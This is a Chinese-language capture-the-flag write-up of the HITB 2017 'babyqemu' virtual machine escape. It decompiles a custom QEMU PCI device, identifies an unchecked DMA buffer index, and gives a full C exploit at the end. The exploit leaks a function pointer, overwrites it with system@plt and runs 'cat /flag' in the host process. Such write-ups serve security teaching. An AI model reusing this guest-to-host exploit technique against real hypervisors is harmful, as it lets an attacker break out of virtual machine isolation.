学习一下qemu的虚拟机逃逸

文件:https://github.com/DayJun/Blogs/tree/master/Articles/hitb-gsec-2017-babyqemu

1
2
3
# dajun @ dajun-pc in ~/zoneOfDajun/pwndocker/works/qemu/babyqemu [10:49:54] 
$ ls
launch.sh pc-bios qemu-system-x86_64 rootfs.cpio vmlinuz-4.8.0-52-generic

launch.sh

1
2
3
4
5
6
7
8
9
10
#! /bin/sh
./qemu-system-x86_64 \
-initrd ./rootfs.cpio \
-kernel ./vmlinuz-4.8.0-52-generic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-enable-kvm \
-monitor /dev/null \
-m 64M --nographic -L ./dependency/usr/local/share/qemu \
-L pc-bios \
-device hitb,id=vda

由启动脚本可知,启动了一个名为hitb的设备,因此该设备的相关函数就是我们本次的目标

分析qemu-system-x86_64

使用ida打开qemu-system-x86_64,搜索hitb相关函数,可得到几个关键函数:

1
2
3
4
5
void __fastcall hitb_class_init(ObjectClass_0 *a1, void *data)
void __fastcall pci_hitb_realize(PCIDevice_0 *pdev, Error_0 **errp)
void __fastcall hitb_dma_timer(HitbState *opaque)
void __fastcall hitb_mmio_write(HitbState *opaque, hwaddr addr, uint64_t val, unsigned int size)
uint64_t __fastcall hitb_mmio_read(HitbState *opaque, hwaddr addr, unsigned int size)

首先查看hitb_class_init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void __fastcall hitb_class_init(ObjectClass_0 *a1, void *data)
{
PCIDeviceClass *v2; // rax

v2 = (PCIDeviceClass *)object_class_dynamic_cast_assert(
a1,
"pci-device",
"/mnt/hgfs/eadom/workspcae/projects/hitbctf2017/babyqemu/qemu/hw/misc/hitb.c",
0x1D5,
"hitb_class_init");
v2->revision = 0x10;
v2->class_id = 0xFF;
v2->realize = (void (*)(PCIDevice_0 *, Error_0 **))pci_hitb_realize;
v2->exit = (PCIUnregisterFunc *)pci_hitb_uninit;
v2->vendor_id = 0x1234;
v2->device_id = 0x2333;
}

得到了realize相关函数是pci_hitb_realizevender_id = 0x1234device_id = 0x2333

因此运行launch.sh,启动虚拟机

在启动虚拟机的过程中,我遇到了这样的问题:

1
./qemu-system-x86_64: /usr/lib/libcurl.so.4: version `CURL_OPENSSL_3' not found (required by ./qemu-system-x86_64)

经过搜索,我继续安装了libcurl-compat,然而依旧报错

解决方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ ls -l /usr/lib/libcurl.so.4
lrwxrwxrwx 1 root root 16 1月 8 16:11 /usr/lib/libcurl.so.4 -> libcurl.so.4.6.0

$ find /usr/lib/ | grep libcurl
/usr/lib/libcurl.so.3
/usr/lib/pkgconfig/libcurl.pc
/usr/lib/libcurl.so.4.1.0
/usr/lib/libcurl.so.4
/usr/lib/libcurl.so
/usr/lib/libcurl.so.4.2.0
/usr/lib/libcurl-compat.so.4.6.0
/usr/lib/libcurl.so.4.3.0
find: ‘/usr/lib/firmware/b43’: Permission denied
find: ‘/usr/lib/firmware/b43legacy’: Permission denied
/usr/lib/libcurl.so.4.6.0
/usr/lib/libcurl.so.4.0.0
/usr/lib/libcurl.so.4.4.0
/usr/lib/libcurl.so.4.5.0

所以我们要把启动qemu时使用的libcurl.so.4改成/usr/lib/libcurl.so.4.4.0

所以修改启动脚本

1
2
3
4
5
6
7
8
9
10
11
12
$ cat ./launch.sh 
#! /bin/sh
LD_PRELOAD=/usr/lib/libcurl.so.4.4.0 \
./qemu-system-x86_64 \
-initrd ./rootfs.cpio \
-kernel ./vmlinuz-4.8.0-52-generic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-enable-kvm \
-monitor /dev/null \
-m 64M --nographic -L ./dependency/usr/local/share/qemu \
-L pc-bios \
-device hitb,id=vda

就可以正常启动

那么接下来在虚拟机中运行lspci

1
2
3
4
5
6
7
8
# lspci
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:2333

最后一行所表示的就是我们所分析的设备

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource
0x00000000fea00000 0x00000000feafffff 0x0000000000040200
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000

第一列是start address,随后是end addressflags

关于flags

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
------ include/linux/ioport.h ------
/*
* IO resources have these defined flags.
*
* PCI devices expose these flags to userspace in the "resource" sysfs file,
* so don't move them.
*/
#define IORESOURCE_BITS 0x000000ff /* Bus-specific bits */

#define IORESOURCE_TYPE_BITS 0x00001f00 /* Resource type */
#define IORESOURCE_IO 0x00000100 /* PCI/ISA I/O ports */
#define IORESOURCE_MEM 0x00000200
#define IORESOURCE_REG 0x00000300 /* Register offsets */
#define IORESOURCE_IRQ 0x00000400
#define IORESOURCE_DMA 0x00000800
#define IORESOURCE_BUS 0x00001000

#define IORESOURCE_PREFETCH 0x00002000 /* No side effects */
#define IORESOURCE_READONLY 0x00004000
#define IORESOURCE_CACHEABLE 0x00008000
#define IORESOURCE_RANGELENGTH 0x00010000
#define IORESOURCE_SHADOWABLE 0x00020000

#define IORESOURCE_SIZEALIGN 0x00040000 /* size indicates alignment */
#define IORESOURCE_STARTALIGN 0x00080000 /* start field is alignment */

#define IORESOURCE_MEM_64 0x00100000
#define IORESOURCE_WINDOW 0x00200000 /* forwarded by bridge */
#define IORESOURCE_MUXED 0x00400000 /* Resource is software muxed */

#define IORESOURCE_EXT_TYPE_BITS 0x01000000 /* Resource extended types */
#define IORESOURCE_SYSRAM 0x01000000 /* System RAM (modifier) */

#define IORESOURCE_EXCLUSIVE 0x08000000 /* Userland may not map this resource */

#define IORESOURCE_DISABLED 0x10000000
#define IORESOURCE_UNSET 0x20000000 /* No address assigned yet */
#define IORESOURCE_AUTO 0x40000000
#define IORESOURCE_BUSY 0x80000000 /* Driver has marked this resource busy */

/* I/O resource extended types */
#define IORESOURCE_SYSTEM_RAM (IORESOURCE_MEM|IORESOURCE_SYSRAM)

/* PnP IRQ specific bits (IORESOURCE_BITS) */
#define IORESOURCE_IRQ_HIGHEDGE (1<<0)
#define IORESOURCE_IRQ_LOWEDGE (1<<1)
#define IORESOURCE_IRQ_HIGHLEVEL (1<<2)
#define IORESOURCE_IRQ_LOWLEVEL (1<<3)
#define IORESOURCE_IRQ_SHAREABLE (1<<4)
#define IORESOURCE_IRQ_OPTIONAL (1<<5)

/* PnP DMA specific bits (IORESOURCE_BITS) */
#define IORESOURCE_DMA_TYPE_MASK (3<<0)
#define IORESOURCE_DMA_8BIT (0<<0)
#define IORESOURCE_DMA_8AND16BIT (1<<0)
#define IORESOURCE_DMA_16BIT (2<<0)

#define IORESOURCE_DMA_MASTER (1<<2)
#define IORESOURCE_DMA_BYTE (1<<3)
#define IORESOURCE_DMA_WORD (1<<4)

#define IORESOURCE_DMA_SPEED_MASK (3<<6)
#define IORESOURCE_DMA_COMPATIBLE (0<<6)
#define IORESOURCE_DMA_TYPEA (1<<6)
#define IORESOURCE_DMA_TYPEB (2<<6)
#define IORESOURCE_DMA_TYPEF (3<<6)

/* PnP memory I/O specific bits (IORESOURCE_BITS) */
#define IORESOURCE_MEM_WRITEABLE (1<<0) /* dup: IORESOURCE_READONLY */
#define IORESOURCE_MEM_CACHEABLE (1<<1) /* dup: IORESOURCE_CACHEABLE */
#define IORESOURCE_MEM_RANGELENGTH (1<<2) /* dup: IORESOURCE_RANGELENGTH */
#define IORESOURCE_MEM_TYPE_MASK (3<<3)
#define IORESOURCE_MEM_8BIT (0<<3)
#define IORESOURCE_MEM_16BIT (1<<3)
#define IORESOURCE_MEM_8AND16BIT (2<<3)
#define IORESOURCE_MEM_32BIT (3<<3)
#define IORESOURCE_MEM_SHADOWABLE (1<<5) /* dup: IORESOURCE_SHADOWABLE */
#define IORESOURCE_MEM_EXPANSIONROM (1<<6)

/* PnP I/O specific bits (IORESOURCE_BITS) */
#define IORESOURCE_IO_16BIT_ADDR (1<<0)
#define IORESOURCE_IO_FIXED (1<<1)
#define IORESOURCE_IO_SPARSE (1<<2)

/* PCI ROM control bits (IORESOURCE_BITS) */
#define IORESOURCE_ROM_ENABLE (1<<0) /* ROM is enabled, same as PCI_ROM_ADDRESS_ENABLE */
#define IORESOURCE_ROM_SHADOW (1<<1) /* Use RAM image, not ROM BAR */

/* PCI control bits. Shares IORESOURCE_BITS with above PCI ROM. */
#define IORESOURCE_PCI_FIXED (1<<4) /* Do not move resource */
#define IORESOURCE_PCI_EA_BEI (1<<5) /* BAR Equivalent Indicator */

pci_hitb_realize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void __fastcall pci_hitb_realize(PCIDevice_0 *pdev, Error_0 **errp)
{
pdev->config[61] = 1;
if ( !msi_init(pdev, 0, 1u, 1, 0, errp) )
{
timer_init_tl(
(QEMUTimer_0 *)&pdev[1].io_regions[4],
main_loop_tlg.tl[1],
1000000,
(QEMUTimerCB *)hitb_dma_timer,
pdev);
qemu_mutex_init((QemuMutex_0 *)&pdev[1].io_regions[0].type);
qemu_cond_init((QemuCond_0 *)&pdev[1].io_regions[1].type);
qemu_thread_create(
(QemuThread_0 *)&pdev[1].io_regions[0].size,
"hitb",
(void *(*)(void *))hitb_fact_thread,
pdev,
0);
memory_region_init_io(
(MemoryRegion_0 *)&pdev[1],
&pdev->qdev.parent_obj,
&hitb_mmio_ops,
pdev,
"hitb-mmio",
0x100000uLL);
pci_register_bar(pdev, 0, 0, (MemoryRegion_0 *)&pdev[1]);
}
}

首先初始化了一个timer,定义了timer的回调函数hitb_dma_timer。关于timer的相关函数定义,在include/qemu/timer.h

后面最关键的是memory_region_init_io函数的hitb_mmio_ops这个参数,它表示了这个设备可以进行什么操作以及分别如何进行这些操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.data.rel.ro:00000000009690A0 hitb_mmio_ops   dq offset hitb_mmio_read; read
.data.rel.ro:00000000009690A0 ; DATA XREF: pci_hitb_realize+99↑o
.data.rel.ro:00000000009690A0 dq offset hitb_mmio_write; write
.data.rel.ro:00000000009690A0 dq 0 ; read_with_attrs
.data.rel.ro:00000000009690A0 dq 0 ; write_with_attrs
.data.rel.ro:00000000009690A0 dq 0 ; request_ptr
.data.rel.ro:00000000009690A0 dd DEVICE_NATIVE_ENDIAN ; endianness
.data.rel.ro:00000000009690A0 db 4 dup(0)
.data.rel.ro:00000000009690A0 dd 0 ; valid.min_access_size
.data.rel.ro:00000000009690A0 dd 0 ; valid.max_access_size
.data.rel.ro:00000000009690A0 db 0 ; valid.unaligned
.data.rel.ro:00000000009690A0 db 7 dup(0)
.data.rel.ro:00000000009690A0 dq 0 ; valid.accepts
.data.rel.ro:00000000009690A0 dd 0 ; impl.min_access_size
.data.rel.ro:00000000009690A0 dd 0 ; impl.max_access_size
.data.rel.ro:00000000009690A0 db 0 ; impl.unaligned
.data.rel.ro:00000000009690A0 db 3 dup(0)
.data.rel.ro:00000000009690A0 db 4 dup(0)
.data.rel.ro:00000000009690A0 dq 3 dup(0) ; old_mmio.read
.data.rel.ro:00000000009690A0 dq 3 dup(0) ; old_mmio.write

我们就知道,该设备有readwrite两种操作,其对应的函数分别为hitb_mmio_readhitb_mmio_write

hitb_mmio_write

hitb_mmio_read函数没什么好看的,关键点在hitb_mmio_write函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
void __fastcall hitb_mmio_write(HitbState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
uint32_t v4; // er13
int v5; // edx
bool v6; // zf
int64_t v7; // rax

if ( (addr > 0x7F || size == 4) && (!((size - 4) & 0xFFFFFFFB) || addr <= 0x7F) )
{
if ( addr == 0x80 )
{
if ( !(opaque->dma.cmd & 1) )
opaque->dma.src = val;
}
else
{
v4 = val;
if ( addr > 0x80 )
{
if ( addr == 0x8C )
{
if ( !(opaque->dma.cmd & 1) )
*(dma_addr_t *)((char *)&opaque->dma.dst + 4) = val;
}
else if ( addr > 0x8C )
{
if ( addr == 0x90 )
{
if ( !(opaque->dma.cmd & 1) )
opaque->dma.cnt = val;
}
else if ( addr == 0x98 && val & 1 && !(opaque->dma.cmd & 1) )
{
opaque->dma.cmd = val;
v7 = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL_0);
timer_mod(
&opaque->dma_timer,
((signed __int64)((unsigned __int128)(0x431BDE82D7B634DBLL * (signed __int128)v7) >> 0x40) >> 18)
- (v7 >> 0x3F)
+ 0x64);
}
}
else if ( addr == 0x84 )
{
if ( !(opaque->dma.cmd & 1) )
*(dma_addr_t *)((char *)&opaque->dma.src + 4) = val;
}
else if ( addr == 0x88 && !(opaque->dma.cmd & 1) )
{
opaque->dma.dst = val;
}
}
else if ( addr == 0x20 )
{
if ( val & 0x80 )
_InterlockedOr((volatile signed __int32 *)&opaque->status, 0x80u);
else
_InterlockedAnd((volatile signed __int32 *)&opaque->status, 0xFFFFFF7F);
}
else if ( addr > 0x20 )
{
if ( addr == 96 )
{
v6 = ((unsigned int)val | opaque->irq_status) == 0;
opaque->irq_status |= val;
if ( !v6 )
hitb_raise_irq(opaque, 0x60u);
}
else if ( addr == 100 )
{
v5 = ~(_DWORD)val;
v6 = (v5 & opaque->irq_status) == 0;
opaque->irq_status &= v5;
if ( v6 && !msi_enabled(&opaque->pdev) )
pci_set_irq(&opaque->pdev, 0);
}
}
else if ( addr == 4 )
{
opaque->addr4 = ~(_DWORD)val;
}
else if ( addr == 8 && !(opaque->status & 1) )
{
qemu_mutex_lock(&opaque->thr_mutex);
opaque->fact = v4;
_InterlockedOr((volatile signed __int32 *)&opaque->status, 1u);
qemu_cond_signal(&opaque->thr_cond);
qemu_mutex_unlock(&opaque->thr_mutex);
}
}
}
}

它会根据addr来对结构体的各字段进行赋值

关于HitbStatedma_state结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
00000000 HitbState       struc ; (sizeof=0x1BD0, align=0x10, copyof_1493)
00000000 ; XREF: hitb_dma_timer:loc_284120/o
00000000 pdev PCIDevice_0 ?
000009F0 mmio MemoryRegion_0 ?
00000AF0 thread QemuThread_0 ?
00000AF8 thr_mutex QemuMutex_0 ?
00000B20 thr_cond QemuCond_0 ?
00000B50 stopping db ?
00000B51 db ? ; undefined
00000B52 db ? ; undefined
00000B53 db ? ; undefined
00000B54 addr4 dd ?
00000B58 fact dd ?
00000B5C status dd ?
00000B60 irq_status dd ?
00000B64 db ? ; undefined
00000B65 db ? ; undefined
00000B66 db ? ; undefined
00000B67 db ? ; undefined
00000B68 dma dma_state ?
00000B88 dma_timer QEMUTimer_0 ?
00000BB8 dma_buf db 4096 dup(?)
00001BB8 enc dq ? ; offset
00001BC0 dma_mask dq ?
00001BC8 db ? ; undefined
00001BC9 db ? ; undefined
00001BCA db ? ; undefined
00001BCB db ? ; undefined
00001BCC db ? ; undefined
00001BCD db ? ; undefined
00001BCE db ? ; undefined
00001BCF db ? ; undefined
00001BD0 HitbState ends
00001BD0
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 dma_state struc ; (sizeof=0x20, align=0x8, copyof_1491)
00000000 ; XREF: HitbState/r
00000000 src dq ?
00000008 dst dq ?
00000010 cnt dq ?
00000018 cmd dq ?
00000020 dma_state ends

要注意的是,它在addr == 0x98的时候,启动了timer,当timer到时之后会调用回调函数hitb_dma_timer

hitb_dma_timer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
void __fastcall hitb_dma_timer(HitbState *opaque)
{
dma_addr_t v1; // rax
__int64 v2; // rdx
uint8_t *v3; // rsi
dma_addr_t v4; // rax
dma_addr_t v5; // rdx
uint8_t *v6; // rbp
uint8_t *v7; // rbp

v1 = opaque->dma.cmd;
if ( v1 & 1 )
{
if ( v1 & 2 )
{
v2 = (unsigned int)(LODWORD(opaque->dma.src) - 0x40000);
if ( v1 & 4 )
{
v7 = (uint8_t *)&opaque->dma_buf[v2];
((void (__fastcall *)(uint8_t *, _QWORD))opaque->enc)(v7, LODWORD(opaque->dma.cnt));
v3 = v7;
}
else
{
v3 = (uint8_t *)&opaque->dma_buf[v2];
}
cpu_physical_memory_rw(opaque->dma.dst, v3, opaque->dma.cnt, 1);
v4 = opaque->dma.cmd;
v5 = opaque->dma.cmd & 4;
}
else
{
v6 = (uint8_t *)&opaque[0xFFFFFFDBLL].dma_buf[(unsigned int)opaque->dma.dst + 0x510];
LODWORD(v3) = (_DWORD)opaque + opaque->dma.dst - 0x40000 + 0xBB8;
cpu_physical_memory_rw(opaque->dma.src, v6, opaque->dma.cnt, 0);
v4 = opaque->dma.cmd;
v5 = opaque->dma.cmd & 4;
if ( opaque->dma.cmd & 4 )
{
v3 = (uint8_t *)LODWORD(opaque->dma.cnt);
((void (__fastcall *)(uint8_t *, uint8_t *, dma_addr_t))opaque->enc)(v6, v3, v5);
v4 = opaque->dma.cmd;
v5 = opaque->dma.cmd & 4;
}
}
opaque->dma.cmd = v4 & 0xFFFFFFFFFFFFFFFELL;
if ( v5 )
{
opaque->irq_status |= 0x100u;
hitb_raise_irq(opaque, (uint32_t)v3);
}
}
}

主要流程是,根据cmdsrcdstcnt的值,来对dma_buf以及内存进行存取。

其主要流程如下:

  • cmd = 1,就从opaque->dma.src所指向的物理内存往opaque->dma_buf[opaque->dma.dst-0x40000]复制opaque->dma.cnt个字节
  • cmd = 1 | 2,就从opaque->dma_buf[opaque->dma.src-0x40000]opaque->dma.dst所指向的物理内存复制opaque->dma.cnt个字节
  • cmd = 1 | 2 | 4,就调用opaque->enc函数,参数为opaque->dma_buf[opaque->dma.src-0x40000]opaque->dma.cnt

漏洞点

漏洞点在于,cmd = 1和cmd = 2的时候,从dma_buf存取数据的时候没有检查index的大小,会导致越界存取

dma_buf之后恰好就是enc,因此我们可以通过从enc取值来得到ELF的基地址,然后计算systemplt,然后将enc覆盖成systemplt,最后往dma_buf里面写入指令,例如cat flag,这样,当设置cmd1|2|4的时候就可以调用system("cat flag")

为什么这样可以完成虚拟机逃逸呢?因为我们这些包括system("cat flag")都不是在虚拟机内的进程执行的,而是qemu本身的进程执行的,所以这样就可以完成虚拟化逃逸

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <errno.h>
#include <unistd.h>

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)


uint64_t page_offset(uint64_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;

int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open pagemap");
exit(1);
}
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

uint8_t *mmio_address;
uint8_t *user_buf;
uint64_t user_phy_buf;

void mmio_write(uint32_t offset, uint32_t value)
{
*((uint32_t*)(mmio_address + offset)) = value;
}

void set_dma_src(uint32_t addr)
{
mmio_write(0x80, addr);
}

void set_dma_dst(uint32_t addr)
{
mmio_write(0x88, addr);
}

void set_dma_cnt(uint32_t cnt)
{
mmio_write(0x90, cnt);
}

void set_dma_cmd(uint32_t cmd)
{
mmio_write(0x98, cmd);
sleep(1);
}

uint64_t read_dma(uint32_t addr)
{
set_dma_src(addr+0x40000);
set_dma_cnt(8);
set_dma_dst(user_phy_buf);
set_dma_cmd(1|2);
//set_dma_cmd(0);
return *(uint64_t*)user_buf;
}

void write_dma(uint32_t addr, void *buf, uint32_t size)
{
memcpy(user_buf, buf, size);
set_dma_src(user_phy_buf);
set_dma_dst(addr+0x40000);
set_dma_cnt(size);
set_dma_cmd(1);
//set_dma_cmd(0);
}

void trigger_enc()
{
set_dma_src(0+0x40000);
set_dma_cnt(0);
set_dma_cmd(1|2|4);
}

int main()
{
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if(mmio_fd < 0)
{
perror("mmio fd open error!");
exit(1);
}
mmio_address = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if(mmio_address == MAP_FAILED)
{
perror("mmio mmap error!");
exit(1);
}
user_buf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if(user_buf == MAP_FAILED)
{
perror("mmio mmap error!");
exit(1);
}
mlock(user_buf, 0x1000);
user_phy_buf = gva_to_gpa(user_buf);
printf("[+] user phy buf: %p\n", user_phy_buf);
uint64_t enc_address = read_dma(4096);
printf("[+] leak enc address: %p\n", enc_address);
uint64_t text_base = enc_address - 0x283DD0;
printf("[+] text base: %p\n", text_base);
uint64_t system_plt = text_base + 0x1FDB18;
printf("[+] system plt: %p\n", system_plt);
write_dma(4096, &system_plt, 8);
char buf[] = "cat /flag";
write_dma(0, buf, 10);
trigger_enc();
return 0;
}